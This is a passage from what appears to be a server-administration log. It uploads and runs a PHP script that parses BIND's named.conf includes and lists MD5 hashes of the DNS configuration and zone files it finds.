MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.conf)= 0c602ebd02403b745f34fa146858295c
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.txt)= 6f1cdaf5040cf6c289773893efd4d401
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= bc8353cc1ce247e2310ed5e517eb3a01
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-28 10:25:15: Establishing a connection
2026-04-28 10:25:15: 

PUT: /tmp/pkp997380

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-28 10:25:15: 

runuser -l bind -s /bin/bash -c '/tmp/pkp997380; rm /tmp/pkp997380'

2026-04-28 10:25:15: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= db0633477b3a98066efe74cd0403f07a
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
